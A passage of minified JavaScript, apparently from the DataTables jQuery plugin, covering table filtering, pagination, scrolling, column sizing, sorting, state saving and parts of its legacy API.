c=a.aiDisplay,d,e,h=0,f=b.length;h<f;h++){for(var g=[],k=0,m=c.length;k<m;k++)e=c[k],d=a.aoData[e],b[h](a,d._aFilterData,e,d._aData,k)&&g.push(e);c.length=0;l.merge(c,g)}}function Wb(a,b,c,d,e,h){if(""!==b){var f=[],g=a.aiDisplay;d=nb(b,d,e,h);for(e=0;e<g.length;e++)b=a.aoData[g[e]]._aFilterData[c],d.test(b)&&f.push(g[e]);a.aiDisplay=f}}function Vb(a,b,c,d,e,h){e=nb(b,d,e,h);var f=a.oPreviousSearch.sSearch,g=a.aiDisplayMaster;h=[];0!==u.ext.search.length&&(c=!0);var k=Yb(a);if(0>=b.length)a.aiDisplay=
|
||||
g.slice();else{if(k||c||d||f.length>b.length||0!==b.indexOf(f)||a.bSorted)a.aiDisplay=g.slice();b=a.aiDisplay;for(c=0;c<b.length;c++)e.test(a.aoData[b[c]]._sFilterRow)&&h.push(b[c]);a.aiDisplay=h}}function nb(a,b,c,d){a=b?a:ob(a);c&&(a="^(?=.*?"+l.map(a.match(/"[^"]+"|[^ ]+/g)||[""],function(e){if('"'===e.charAt(0)){var h=e.match(/^"(.*)"$/);e=h?h[1]:e}return e.replace('"',"")}).join(")(?=.*?")+").*$");return new RegExp(a,d?"i":"")}function Yb(a){var b=a.aoColumns,c,d;var e=!1;var h=0;for(c=a.aoData.length;h<
|
||||
c;h++){var f=a.aoData[h];if(!f._aFilterData){var g=[];e=0;for(d=b.length;e<d;e++){var k=b[e];k.bSearchable?(k=T(a,h,e,"filter"),null===k&&(k=""),"string"!==typeof k&&k.toString&&(k=k.toString())):k="";k.indexOf&&-1!==k.indexOf("&")&&(Sa.innerHTML=k,k=Bc?Sa.textContent:Sa.innerText);k.replace&&(k=k.replace(/[\r\n\u2028]/g,""));g.push(k)}f._aFilterData=g;f._sFilterRow=g.join(" ");e=!0}}return e}function Zb(a){return{search:a.sSearch,smart:a.bSmart,regex:a.bRegex,caseInsensitive:a.bCaseInsensitive}}
|
||||
function $b(a){return{sSearch:a.search,bSmart:a.smart,bRegex:a.regex,bCaseInsensitive:a.caseInsensitive}}function Rb(a){var b=a.sTableId,c=a.aanFeatures.i,d=l("<div/>",{"class":a.oClasses.sInfo,id:c?null:b+"_info"});c||(a.aoDrawCallback.push({fn:ac,sName:"information"}),d.attr("role","status").attr("aria-live","polite"),l(a.nTable).attr("aria-describedby",b+"_info"));return d[0]}function ac(a){var b=a.aanFeatures.i;if(0!==b.length){var c=a.oLanguage,d=a._iDisplayStart+1,e=a.fnDisplayEnd(),h=a.fnRecordsTotal(),
|
||||
f=a.fnRecordsDisplay(),g=f?c.sInfo:c.sInfoEmpty;f!==h&&(g+=" "+c.sInfoFiltered);g+=c.sInfoPostFix;g=bc(a,g);c=c.fnInfoCallback;null!==c&&(g=c.call(a.oInstance,a,d,e,h,f,g));l(b).html(g)}}function bc(a,b){var c=a.fnFormatNumber,d=a._iDisplayStart+1,e=a._iDisplayLength,h=a.fnRecordsDisplay(),f=-1===e;return b.replace(/_START_/g,c.call(a,d)).replace(/_END_/g,c.call(a,a.fnDisplayEnd())).replace(/_MAX_/g,c.call(a,a.fnRecordsTotal())).replace(/_TOTAL_/g,c.call(a,h)).replace(/_PAGE_/g,c.call(a,f?1:Math.ceil(d/
|
||||
e))).replace(/_PAGES_/g,c.call(a,f?1:Math.ceil(h/e)))}function Aa(a){var b=a.iInitDisplayStart,c=a.aoColumns;var d=a.oFeatures;var e=a.bDeferLoading;if(a.bInitialised){Mb(a);Jb(a);xa(a,a.aoHeader);xa(a,a.aoFooter);V(a,!0);d.bAutoWidth&&db(a);var h=0;for(d=c.length;h<d;h++){var f=c[h];f.sWidth&&(f.nTh.style.width=K(f.sWidth))}F(a,null,"preInit",[a]);ka(a);c=Q(a);if("ssp"!=c||e)"ajax"==c?Qa(a,[],function(g){var k=za(a,g);for(h=0;h<k.length;h++)ia(a,k[h]);a.iInitDisplayStart=b;ka(a);V(a,!1);Ra(a,g)},
|
||||
a):(V(a,!1),Ra(a))}else setTimeout(function(){Aa(a)},200)}function Ra(a,b){a._bInitComplete=!0;(b||a.oInit.aaData)&&sa(a);F(a,null,"plugin-init",[a,b]);F(a,"aoInitComplete","init",[a,b])}function pb(a,b){b=parseInt(b,10);a._iDisplayLength=b;qb(a);F(a,null,"length",[a,b])}function Nb(a){var b=a.oClasses,c=a.sTableId,d=a.aLengthMenu,e=Array.isArray(d[0]),h=e?d[0]:d;d=e?d[1]:d;e=l("<select/>",{name:c+"_length","aria-controls":c,"class":b.sLengthSelect});for(var f=0,g=h.length;f<g;f++)e[0][f]=new Option("number"===
|
||||
typeof d[f]?a.fnFormatNumber(d[f]):d[f],h[f]);var k=l("<div><label/></div>").addClass(b.sLength);a.aanFeatures.l||(k[0].id=c+"_length");k.children().append(a.oLanguage.sLengthMenu.replace("_MENU_",e[0].outerHTML));l("select",k).val(a._iDisplayLength).on("change.DT",function(m){pb(a,l(this).val());ja(a)});l(a.nTable).on("length.dt.DT",function(m,n,p){a===n&&l("select",k).val(p)});return k[0]}function Sb(a){var b=a.sPaginationType,c=u.ext.pager[b],d="function"===typeof c,e=function(f){ja(f)};b=l("<div/>").addClass(a.oClasses.sPaging+
|
||||
b)[0];var h=a.aanFeatures;d||c.fnInit(a,b,e);h.p||(b.id=a.sTableId+"_paginate",a.aoDrawCallback.push({fn:function(f){if(d){var g=f._iDisplayStart,k=f._iDisplayLength,m=f.fnRecordsDisplay(),n=-1===k;g=n?0:Math.ceil(g/k);k=n?1:Math.ceil(m/k);m=c(g,k);var p;n=0;for(p=h.p.length;n<p;n++)lb(f,"pageButton")(f,h.p[n],n,m,g,k)}else c.fnUpdate(f,e)},sName:"pagination"}));return b}function Ta(a,b,c){var d=a._iDisplayStart,e=a._iDisplayLength,h=a.fnRecordsDisplay();0===h||-1===e?d=0:"number"===typeof b?(d=b*
|
||||
e,d>h&&(d=0)):"first"==b?d=0:"previous"==b?(d=0<=e?d-e:0,0>d&&(d=0)):"next"==b?d+e<h&&(d+=e):"last"==b?d=Math.floor((h-1)/e)*e:ea(a,0,"Unknown paging action: "+b,5);b=a._iDisplayStart!==d;a._iDisplayStart=d;b&&(F(a,null,"page",[a]),c&&ja(a));return b}function Pb(a){return l("<div/>",{id:a.aanFeatures.r?null:a.sTableId+"_processing","class":a.oClasses.sProcessing}).html(a.oLanguage.sProcessing).append("<div><div></div><div></div><div></div><div></div></div>").insertBefore(a.nTable)[0]}function V(a,
|
||||
b){a.oFeatures.bProcessing&&l(a.aanFeatures.r).css("display",b?"block":"none");F(a,null,"processing",[a,b])}function Qb(a){var b=l(a.nTable),c=a.oScroll;if(""===c.sX&&""===c.sY)return a.nTable;var d=c.sX,e=c.sY,h=a.oClasses,f=b.children("caption"),g=f.length?f[0]._captionSide:null,k=l(b[0].cloneNode(!1)),m=l(b[0].cloneNode(!1)),n=b.children("tfoot");n.length||(n=null);k=l("<div/>",{"class":h.sScrollWrapper}).append(l("<div/>",{"class":h.sScrollHead}).css({overflow:"hidden",position:"relative",border:0,
|
||||
width:d?d?K(d):null:"100%"}).append(l("<div/>",{"class":h.sScrollHeadInner}).css({"box-sizing":"content-box",width:c.sXInner||"100%"}).append(k.removeAttr("id").css("margin-left",0).append("top"===g?f:null).append(b.children("thead"))))).append(l("<div/>",{"class":h.sScrollBody}).css({position:"relative",overflow:"auto",width:d?K(d):null}).append(b));n&&k.append(l("<div/>",{"class":h.sScrollFoot}).css({overflow:"hidden",border:0,width:d?d?K(d):null:"100%"}).append(l("<div/>",{"class":h.sScrollFootInner}).append(m.removeAttr("id").css("margin-left",
|
||||
0).append("bottom"===g?f:null).append(b.children("tfoot")))));b=k.children();var p=b[0];h=b[1];var t=n?b[2]:null;if(d)l(h).on("scroll.DT",function(v){v=this.scrollLeft;p.scrollLeft=v;n&&(t.scrollLeft=v)});l(h).css("max-height",e);c.bCollapse||l(h).css("height",e);a.nScrollHead=p;a.nScrollBody=h;a.nScrollFoot=t;a.aoDrawCallback.push({fn:Ja,sName:"scrolling"});return k[0]}function Ja(a){var b=a.oScroll,c=b.sX,d=b.sXInner,e=b.sY;b=b.iBarWidth;var h=l(a.nScrollHead),f=h[0].style,g=h.children("div"),k=
|
||||
g[0].style,m=g.children("table");g=a.nScrollBody;var n=l(g),p=g.style,t=l(a.nScrollFoot).children("div"),v=t.children("table"),x=l(a.nTHead),w=l(a.nTable),r=w[0],C=r.style,G=a.nTFoot?l(a.nTFoot):null,ba=a.oBrowser,L=ba.bScrollOversize;U(a.aoColumns,"nTh");var O=[],I=[],H=[],fa=[],Z,Ba=function(D){D=D.style;D.paddingTop="0";D.paddingBottom="0";D.borderTopWidth="0";D.borderBottomWidth="0";D.height=0};var X=g.scrollHeight>g.clientHeight;if(a.scrollBarVis!==X&&a.scrollBarVis!==q)a.scrollBarVis=X,sa(a);
|
||||
else{a.scrollBarVis=X;w.children("thead, tfoot").remove();if(G){X=G.clone().prependTo(w);var ca=G.find("tr");var Ca=X.find("tr");X.find("[id]").removeAttr("id")}var Ua=x.clone().prependTo(w);x=x.find("tr");X=Ua.find("tr");Ua.find("th, td").removeAttr("tabindex");Ua.find("[id]").removeAttr("id");c||(p.width="100%",h[0].style.width="100%");l.each(Pa(a,Ua),function(D,W){Z=ta(a,D);W.style.width=a.aoColumns[Z].sWidth});G&&da(function(D){D.style.width=""},Ca);h=w.outerWidth();""===c?(C.width="100%",L&&
|
||||
(w.find("tbody").height()>g.offsetHeight||"scroll"==n.css("overflow-y"))&&(C.width=K(w.outerWidth()-b)),h=w.outerWidth()):""!==d&&(C.width=K(d),h=w.outerWidth());da(Ba,X);da(function(D){var W=y.getComputedStyle?y.getComputedStyle(D).width:K(l(D).width());H.push(D.innerHTML);O.push(W)},X);da(function(D,W){D.style.width=O[W]},x);l(X).css("height",0);G&&(da(Ba,Ca),da(function(D){fa.push(D.innerHTML);I.push(K(l(D).css("width")))},Ca),da(function(D,W){D.style.width=I[W]},ca),l(Ca).height(0));da(function(D,
|
||||
W){D.innerHTML='<div class="dataTables_sizing">'+H[W]+"</div>";D.childNodes[0].style.height="0";D.childNodes[0].style.overflow="hidden";D.style.width=O[W]},X);G&&da(function(D,W){D.innerHTML='<div class="dataTables_sizing">'+fa[W]+"</div>";D.childNodes[0].style.height="0";D.childNodes[0].style.overflow="hidden";D.style.width=I[W]},Ca);Math.round(w.outerWidth())<Math.round(h)?(ca=g.scrollHeight>g.offsetHeight||"scroll"==n.css("overflow-y")?h+b:h,L&&(g.scrollHeight>g.offsetHeight||"scroll"==n.css("overflow-y"))&&
|
||||
(C.width=K(ca-b)),""!==c&&""===d||ea(a,1,"Possible column misalignment",6)):ca="100%";p.width=K(ca);f.width=K(ca);G&&(a.nScrollFoot.style.width=K(ca));!e&&L&&(p.height=K(r.offsetHeight+b));c=w.outerWidth();m[0].style.width=K(c);k.width=K(c);d=w.height()>g.clientHeight||"scroll"==n.css("overflow-y");e="padding"+(ba.bScrollbarLeft?"Left":"Right");k[e]=d?b+"px":"0px";G&&(v[0].style.width=K(c),t[0].style.width=K(c),t[0].style[e]=d?b+"px":"0px");w.children("colgroup").insertBefore(w.children("thead"));
|
||||
n.trigger("scroll");!a.bSorted&&!a.bFiltered||a._drawHold||(g.scrollTop=0)}}function da(a,b,c){for(var d=0,e=0,h=b.length,f,g;e<h;){f=b[e].firstChild;for(g=c?c[e].firstChild:null;f;)1===f.nodeType&&(c?a(f,g,d):a(f,d),d++),f=f.nextSibling,g=c?g.nextSibling:null;e++}}function db(a){var b=a.nTable,c=a.aoColumns,d=a.oScroll,e=d.sY,h=d.sX,f=d.sXInner,g=c.length,k=Ka(a,"bVisible"),m=l("th",a.nTHead),n=b.getAttribute("width"),p=b.parentNode,t=!1,v,x=a.oBrowser;d=x.bScrollOversize;(v=b.style.width)&&-1!==
|
||||
v.indexOf("%")&&(n=v);for(v=0;v<k.length;v++){var w=c[k[v]];null!==w.sWidth&&(w.sWidth=cc(w.sWidthOrig,p),t=!0)}if(d||!t&&!h&&!e&&g==na(a)&&g==m.length)for(v=0;v<g;v++)k=ta(a,v),null!==k&&(c[k].sWidth=K(m.eq(v).width()));else{g=l(b).clone().css("visibility","hidden").removeAttr("id");g.find("tbody tr").remove();var r=l("<tr/>").appendTo(g.find("tbody"));g.find("thead, tfoot").remove();g.append(l(a.nTHead).clone()).append(l(a.nTFoot).clone());g.find("tfoot th, tfoot td").css("width","");m=Pa(a,g.find("thead")[0]);
|
||||
for(v=0;v<k.length;v++)w=c[k[v]],m[v].style.width=null!==w.sWidthOrig&&""!==w.sWidthOrig?K(w.sWidthOrig):"",w.sWidthOrig&&h&&l(m[v]).append(l("<div/>").css({width:w.sWidthOrig,margin:0,padding:0,border:0,height:1}));if(a.aoData.length)for(v=0;v<k.length;v++)t=k[v],w=c[t],l(dc(a,t)).clone(!1).append(w.sContentPadding).appendTo(r);l("[name]",g).removeAttr("name");w=l("<div/>").css(h||e?{position:"absolute",top:0,left:0,height:1,right:0,overflow:"hidden"}:{}).append(g).appendTo(p);h&&f?g.width(f):h?
|
||||
(g.css("width","auto"),g.removeAttr("width"),g.width()<p.clientWidth&&n&&g.width(p.clientWidth)):e?g.width(p.clientWidth):n&&g.width(n);for(v=e=0;v<k.length;v++)p=l(m[v]),f=p.outerWidth()-p.width(),p=x.bBounding?Math.ceil(m[v].getBoundingClientRect().width):p.outerWidth(),e+=p,c[k[v]].sWidth=K(p-f);b.style.width=K(e);w.remove()}n&&(b.style.width=K(n));!n&&!h||a._reszEvt||(b=function(){l(y).on("resize.DT-"+a.sInstance,mb(function(){sa(a)}))},d?setTimeout(b,1E3):b(),a._reszEvt=!0)}function cc(a,b){if(!a)return 0;
|
||||
a=l("<div/>").css("width",K(a)).appendTo(b||A.body);b=a[0].offsetWidth;a.remove();return b}function dc(a,b){var c=ec(a,b);if(0>c)return null;var d=a.aoData[c];return d.nTr?d.anCells[b]:l("<td/>").html(T(a,c,b,"display"))[0]}function ec(a,b){for(var c,d=-1,e=-1,h=0,f=a.aoData.length;h<f;h++)c=T(a,h,b,"display")+"",c=c.replace(Cc,""),c=c.replace(/ /g," "),c.length>d&&(d=c.length,e=h);return e}function K(a){return null===a?"0px":"number"==typeof a?0>a?"0px":a+"px":a.match(/\d$/)?a+"px":a}function oa(a){var b=
|
||||
[],c=a.aoColumns;var d=a.aaSortingFixed;var e=l.isPlainObject(d);var h=[];var f=function(n){n.length&&!Array.isArray(n[0])?h.push(n):l.merge(h,n)};Array.isArray(d)&&f(d);e&&d.pre&&f(d.pre);f(a.aaSorting);e&&d.post&&f(d.post);for(a=0;a<h.length;a++){var g=h[a][0];f=c[g].aDataSort;d=0;for(e=f.length;d<e;d++){var k=f[d];var m=c[k].sType||"string";h[a]._idx===q&&(h[a]._idx=l.inArray(h[a][1],c[k].asSorting));b.push({src:g,col:k,dir:h[a][1],index:h[a]._idx,type:m,formatter:u.ext.type.order[m+"-pre"]})}}return b}
|
||||
function Lb(a){var b,c=[],d=u.ext.type.order,e=a.aoData,h=0,f=a.aiDisplayMaster;eb(a);var g=oa(a);var k=0;for(b=g.length;k<b;k++){var m=g[k];m.formatter&&h++;fc(a,m.col)}if("ssp"!=Q(a)&&0!==g.length){k=0;for(b=f.length;k<b;k++)c[f[k]]=k;h===g.length?f.sort(function(n,p){var t,v=g.length,x=e[n]._aSortData,w=e[p]._aSortData;for(t=0;t<v;t++){var r=g[t];var C=x[r.col];var G=w[r.col];C=C<G?-1:C>G?1:0;if(0!==C)return"asc"===r.dir?C:-C}C=c[n];G=c[p];return C<G?-1:C>G?1:0}):f.sort(function(n,p){var t,v=g.length,
|
||||
x=e[n]._aSortData,w=e[p]._aSortData;for(t=0;t<v;t++){var r=g[t];var C=x[r.col];var G=w[r.col];r=d[r.type+"-"+r.dir]||d["string-"+r.dir];C=r(C,G);if(0!==C)return C}C=c[n];G=c[p];return C<G?-1:C>G?1:0})}a.bSorted=!0}function gc(a){var b=a.aoColumns,c=oa(a);a=a.oLanguage.oAria;for(var d=0,e=b.length;d<e;d++){var h=b[d];var f=h.asSorting;var g=h.ariaTitle||h.sTitle.replace(/<.*?>/g,"");var k=h.nTh;k.removeAttribute("aria-sort");h.bSortable&&(0<c.length&&c[0].col==d?(k.setAttribute("aria-sort","asc"==
|
||||
c[0].dir?"ascending":"descending"),h=f[c[0].index+1]||f[0]):h=f[0],g+="asc"===h?a.sSortAscending:a.sSortDescending);k.setAttribute("aria-label",g)}}function rb(a,b,c,d){var e=a.aaSorting,h=a.aoColumns[b].asSorting,f=function(g,k){var m=g._idx;m===q&&(m=l.inArray(g[1],h));return m+1<h.length?m+1:k?null:0};"number"===typeof e[0]&&(e=a.aaSorting=[e]);c&&a.oFeatures.bSortMulti?(c=l.inArray(b,U(e,"0")),-1!==c?(b=f(e[c],!0),null===b&&1===e.length&&(b=0),null===b?e.splice(c,1):(e[c][1]=h[b],e[c]._idx=b)):
|
||||
(e.push([b,h[0],0]),e[e.length-1]._idx=0)):e.length&&e[0][0]==b?(b=f(e[0]),e.length=1,e[0][1]=h[b],e[0]._idx=b):(e.length=0,e.push([b,h[0]]),e[0]._idx=0);ka(a);"function"==typeof d&&d(a)}function kb(a,b,c,d){var e=a.aoColumns[c];sb(b,{},function(h){!1!==e.bSortable&&(a.oFeatures.bProcessing?(V(a,!0),setTimeout(function(){rb(a,c,h.shiftKey,d);"ssp"!==Q(a)&&V(a,!1)},0)):rb(a,c,h.shiftKey,d))})}function Va(a){var b=a.aLastSort,c=a.oClasses.sSortColumn,d=oa(a),e=a.oFeatures,h;if(e.bSort&&e.bSortClasses){e=
|
||||
0;for(h=b.length;e<h;e++){var f=b[e].src;l(U(a.aoData,"anCells",f)).removeClass(c+(2>e?e+1:3))}e=0;for(h=d.length;e<h;e++)f=d[e].src,l(U(a.aoData,"anCells",f)).addClass(c+(2>e?e+1:3))}a.aLastSort=d}function fc(a,b){var c=a.aoColumns[b],d=u.ext.order[c.sSortDataType],e;d&&(e=d.call(a.oInstance,a,b,ua(a,b)));for(var h,f=u.ext.type.order[c.sType+"-pre"],g=0,k=a.aoData.length;g<k;g++)if(c=a.aoData[g],c._aSortData||(c._aSortData=[]),!c._aSortData[b]||d)h=d?e[g]:T(a,g,b,"sort"),c._aSortData[b]=f?f(h):h}
|
||||
function Da(a){if(!a._bLoadingState){var b={time:+new Date,start:a._iDisplayStart,length:a._iDisplayLength,order:l.extend(!0,[],a.aaSorting),search:Zb(a.oPreviousSearch),columns:l.map(a.aoColumns,function(c,d){return{visible:c.bVisible,search:Zb(a.aoPreSearchCols[d])}})};a.oSavedState=b;F(a,"aoStateSaveParams","stateSaveParams",[a,b]);a.oFeatures.bStateSave&&!a.bDestroying&&a.fnStateSaveCallback.call(a.oInstance,a,b)}}function hc(a,b,c){if(a.oFeatures.bStateSave)return b=a.fnStateLoadCallback.call(a.oInstance,
|
||||
a,function(d){tb(a,d,c)}),b!==q&&tb(a,b,c),!0;c()}function tb(a,b,c){var d,e=a.aoColumns;a._bLoadingState=!0;var h=a._bInitComplete?new u.Api(a):null;if(b&&b.time){var f=F(a,"aoStateLoadParams","stateLoadParams",[a,b]);if(-1!==l.inArray(!1,f))a._bLoadingState=!1;else if(f=a.iStateDuration,0<f&&b.time<+new Date-1E3*f)a._bLoadingState=!1;else if(b.columns&&e.length!==b.columns.length)a._bLoadingState=!1;else{a.oLoadedState=l.extend(!0,{},b);b.length!==q&&(h?h.page.len(b.length):a._iDisplayLength=b.length);
|
||||
b.start!==q&&(null===h?(a._iDisplayStart=b.start,a.iInitDisplayStart=b.start):Ta(a,b.start/a._iDisplayLength));b.order!==q&&(a.aaSorting=[],l.each(b.order,function(k,m){a.aaSorting.push(m[0]>=e.length?[0,m[1]]:m)}));b.search!==q&&l.extend(a.oPreviousSearch,$b(b.search));if(b.columns){f=0;for(d=b.columns.length;f<d;f++){var g=b.columns[f];g.visible!==q&&(h?h.column(f).visible(g.visible,!1):e[f].bVisible=g.visible);g.search!==q&&l.extend(a.aoPreSearchCols[f],$b(g.search))}h&&h.columns.adjust()}a._bLoadingState=
|
||||
!1;F(a,"aoStateLoaded","stateLoaded",[a,b])}}else a._bLoadingState=!1;c()}function Wa(a){var b=u.settings;a=l.inArray(a,U(b,"nTable"));return-1!==a?b[a]:null}function ea(a,b,c,d){c="DataTables warning: "+(a?"table id="+a.sTableId+" - ":"")+c;d&&(c+=". For more information about this error, please see http://datatables.net/tn/"+d);if(b)y.console&&console.log&&console.log(c);else if(b=u.ext,b=b.sErrMode||b.errMode,a&&F(a,null,"error",[a,d,c]),"alert"==b)alert(c);else{if("throw"==b)throw Error(c);"function"==
|
||||
typeof b&&b(a,d,c)}}function Y(a,b,c,d){Array.isArray(c)?l.each(c,function(e,h){Array.isArray(h)?Y(a,b,h[0],h[1]):Y(a,b,h)}):(d===q&&(d=c),b[c]!==q&&(a[d]=b[c]))}function ub(a,b,c){var d;for(d in b)if(b.hasOwnProperty(d)){var e=b[d];l.isPlainObject(e)?(l.isPlainObject(a[d])||(a[d]={}),l.extend(!0,a[d],e)):c&&"data"!==d&&"aaData"!==d&&Array.isArray(e)?a[d]=e.slice():a[d]=e}return a}function sb(a,b,c){l(a).on("click.DT",b,function(d){l(a).trigger("blur");c(d)}).on("keypress.DT",b,function(d){13===d.which&&
|
||||
(d.preventDefault(),c(d))}).on("selectstart.DT",function(){return!1})}function R(a,b,c,d){c&&a[b].push({fn:c,sName:d})}function F(a,b,c,d){var e=[];b&&(e=l.map(a[b].slice().reverse(),function(h,f){return h.fn.apply(a.oInstance,d)}));null!==c&&(b=l.Event(c+".dt"),l(a.nTable).trigger(b,d),e.push(b.result));return e}function qb(a){var b=a._iDisplayStart,c=a.fnDisplayEnd(),d=a._iDisplayLength;b>=c&&(b=c-d);b-=b%d;if(-1===d||0>b)b=0;a._iDisplayStart=b}function lb(a,b){a=a.renderer;var c=u.ext.renderer[b];
|
||||
return l.isPlainObject(a)&&a[b]?c[a[b]]||c._:"string"===typeof a?c[a]||c._:c._}function Q(a){return a.oFeatures.bServerSide?"ssp":a.ajax||a.sAjaxSource?"ajax":"dom"}function Ea(a,b){var c=ic.numbers_length,d=Math.floor(c/2);b<=c?a=pa(0,b):a<=d?(a=pa(0,c-2),a.push("ellipsis"),a.push(b-1)):(a>=b-1-d?a=pa(b-(c-2),b):(a=pa(a-d+2,a+d-1),a.push("ellipsis"),a.push(b-1)),a.splice(0,0,"ellipsis"),a.splice(0,0,0));a.DT_el="span";return a}function bb(a){l.each({num:function(b){return Xa(b,a)},"num-fmt":function(b){return Xa(b,
|
||||
a,vb)},"html-num":function(b){return Xa(b,a,Ya)},"html-num-fmt":function(b){return Xa(b,a,Ya,vb)}},function(b,c){M.type.order[b+a+"-pre"]=c;b.match(/^html\-/)&&(M.type.search[b+a]=M.type.search.html)})}function jc(a,b,c,d,e){return y.moment?a[b](e):y.luxon?a[c](e):d?a[d](e):a}function Za(a,b,c){if(y.moment){var d=y.moment.utc(a,b,c,!0);if(!d.isValid())return null}else if(y.luxon){d=b?y.luxon.DateTime.fromFormat(a,b):y.luxon.DateTime.fromISO(a);if(!d.isValid)return null;d.setLocale(c)}else b?(kc||
|
||||
alert("DataTables warning: Formatted date without Moment.js or Luxon - https://datatables.net/tn/17"),kc=!0):d=new Date(a);return d}function wb(a){return function(b,c,d,e){0===arguments.length?(d="en",b=c=null):1===arguments.length?(d="en",c=b,b=null):2===arguments.length&&(d=c,c=b,b=null);var h="datetime-"+c;u.ext.type.order[h]||(u.ext.type.detect.unshift(function(f){return f===h?h:!1}),u.ext.type.order[h+"-asc"]=function(f,g){f=f.valueOf();g=g.valueOf();return f===g?0:f<g?-1:1},u.ext.type.order[h+
|
||||
"-desc"]=function(f,g){f=f.valueOf();g=g.valueOf();return f===g?0:f>g?-1:1});return function(f,g){if(null===f||f===q)"--now"===e?(f=new Date,f=new Date(Date.UTC(f.getFullYear(),f.getMonth(),f.getDate(),f.getHours(),f.getMinutes(),f.getSeconds()))):f="";if("type"===g)return h;if(""===f)return"sort"!==g?"":Za("0000-01-01 00:00:00",null,d);if(null!==c&&b===c&&"sort"!==g&&"type"!==g&&!(f instanceof Date))return f;var k=Za(f,b,d);if(null===k)return f;if("sort"===g)return k;f=null===c?jc(k,"toDate","toJSDate",
|
||||
"")[a]():jc(k,"format","toFormat","toISOString",c);return"display"===g?$a(f):f}}}function lc(a){return function(){var b=[Wa(this[u.ext.iApiIndex])].concat(Array.prototype.slice.call(arguments));return u.ext.internal[a].apply(this,b)}}var u=function(a,b){if(this instanceof u)return l(a).DataTable(b);b=a;this.$=function(f,g){return this.api(!0).$(f,g)};this._=function(f,g){return this.api(!0).rows(f,g).data()};this.api=function(f){return f?new B(Wa(this[M.iApiIndex])):new B(this)};this.fnAddData=function(f,
|
||||
g){var k=this.api(!0);f=Array.isArray(f)&&(Array.isArray(f[0])||l.isPlainObject(f[0]))?k.rows.add(f):k.row.add(f);(g===q||g)&&k.draw();return f.flatten().toArray()};this.fnAdjustColumnSizing=function(f){var g=this.api(!0).columns.adjust(),k=g.settings()[0],m=k.oScroll;f===q||f?g.draw(!1):(""!==m.sX||""!==m.sY)&&Ja(k)};this.fnClearTable=function(f){var g=this.api(!0).clear();(f===q||f)&&g.draw()};this.fnClose=function(f){this.api(!0).row(f).child.hide()};this.fnDeleteRow=function(f,g,k){var m=this.api(!0);
|
||||
f=m.rows(f);var n=f.settings()[0],p=n.aoData[f[0][0]];f.remove();g&&g.call(this,n,p);(k===q||k)&&m.draw();return p};this.fnDestroy=function(f){this.api(!0).destroy(f)};this.fnDraw=function(f){this.api(!0).draw(f)};this.fnFilter=function(f,g,k,m,n,p){n=this.api(!0);null===g||g===q?n.search(f,k,m,p):n.column(g).search(f,k,m,p);n.draw()};this.fnGetData=function(f,g){var k=this.api(!0);if(f!==q){var m=f.nodeName?f.nodeName.toLowerCase():"";return g!==q||"td"==m||"th"==m?k.cell(f,g).data():k.row(f).data()||
|
||||
null}return k.data().toArray()};this.fnGetNodes=function(f){var g=this.api(!0);return f!==q?g.row(f).node():g.rows().nodes().flatten().toArray()};this.fnGetPosition=function(f){var g=this.api(!0),k=f.nodeName.toUpperCase();return"TR"==k?g.row(f).index():"TD"==k||"TH"==k?(f=g.cell(f).index(),[f.row,f.columnVisible,f.column]):null};this.fnIsOpen=function(f){return this.api(!0).row(f).child.isShown()};this.fnOpen=function(f,g,k){return this.api(!0).row(f).child(g,k).show().child()[0]};this.fnPageChange=
|
||||
function(f,g){f=this.api(!0).page(f);(g===q||g)&&f.draw(!1)};this.fnSetColumnVis=function(f,g,k){f=this.api(!0).column(f).visible(g);(k===q||k)&&f.columns.adjust().draw()};this.fnSettings=function(){return Wa(this[M.iApiIndex])};this.fnSort=function(f){this.api(!0).order(f).draw()};this.fnSortListener=function(f,g,k){this.api(!0).order.listener(f,g,k)};this.fnUpdate=function(f,g,k,m,n){var p=this.api(!0);k===q||null===k?p.row(g).data(f):p.cell(g,k).data(f);(n===q||n)&&p.columns.adjust();(m===q||m)&&
|
||||
p.draw();return 0};this.fnVersionCheck=M.fnVersionCheck;var c=this,d=b===q,e=this.length;d&&(b={});this.oApi=this.internal=M.internal;for(var h in u.ext.internal)h&&(this[h]=lc(h));this.each(function(){var f={},g=1<e?ub(f,b,!0):b,k=0,m;f=this.getAttribute("id");var n=!1,p=u.defaults,t=l(this);if("table"!=this.nodeName.toLowerCase())ea(null,0,"Non-table node initialisation ("+this.nodeName+")",2);else{Db(p);Eb(p.column);P(p,p,!0);P(p.column,p.column,!0);P(p,l.extend(g,t.data()),!0);var v=u.settings;
|
||||
k=0;for(m=v.length;k<m;k++){var x=v[k];if(x.nTable==this||x.nTHead&&x.nTHead.parentNode==this||x.nTFoot&&x.nTFoot.parentNode==this){var w=g.bRetrieve!==q?g.bRetrieve:p.bRetrieve;if(d||w)return x.oInstance;if(g.bDestroy!==q?g.bDestroy:p.bDestroy){x.oInstance.fnDestroy();break}else{ea(x,0,"Cannot reinitialise DataTable",3);return}}if(x.sTableId==this.id){v.splice(k,1);break}}if(null===f||""===f)this.id=f="DataTables_Table_"+u.ext._unique++;var r=l.extend(!0,{},u.models.oSettings,{sDestroyWidth:t[0].style.width,
|
||||
sInstance:f,sTableId:f});r.nTable=this;r.oApi=c.internal;r.oInit=g;v.push(r);r.oInstance=1===c.length?c:t.dataTable();Db(g);la(g.oLanguage);g.aLengthMenu&&!g.iDisplayLength&&(g.iDisplayLength=Array.isArray(g.aLengthMenu[0])?g.aLengthMenu[0][0]:g.aLengthMenu[0]);g=ub(l.extend(!0,{},p),g);Y(r.oFeatures,g,"bPaginate bLengthChange bFilter bSort bSortMulti bInfo bProcessing bAutoWidth bSortClasses bServerSide bDeferRender".split(" "));Y(r,g,["asStripeClasses","ajax","fnServerData","fnFormatNumber","sServerMethod",
|
||||
"aaSorting","aaSortingFixed","aLengthMenu","sPaginationType","sAjaxSource","sAjaxDataProp","iStateDuration","sDom","bSortCellsTop","iTabIndex","fnStateLoadCallback","fnStateSaveCallback","renderer","searchDelay","rowId",["iCookieDuration","iStateDuration"],["oSearch","oPreviousSearch"],["aoSearchCols","aoPreSearchCols"],["iDisplayLength","_iDisplayLength"]]);Y(r.oScroll,g,[["sScrollX","sX"],["sScrollXInner","sXInner"],["sScrollY","sY"],["bScrollCollapse","bCollapse"]]);Y(r.oLanguage,g,"fnInfoCallback");
|
||||
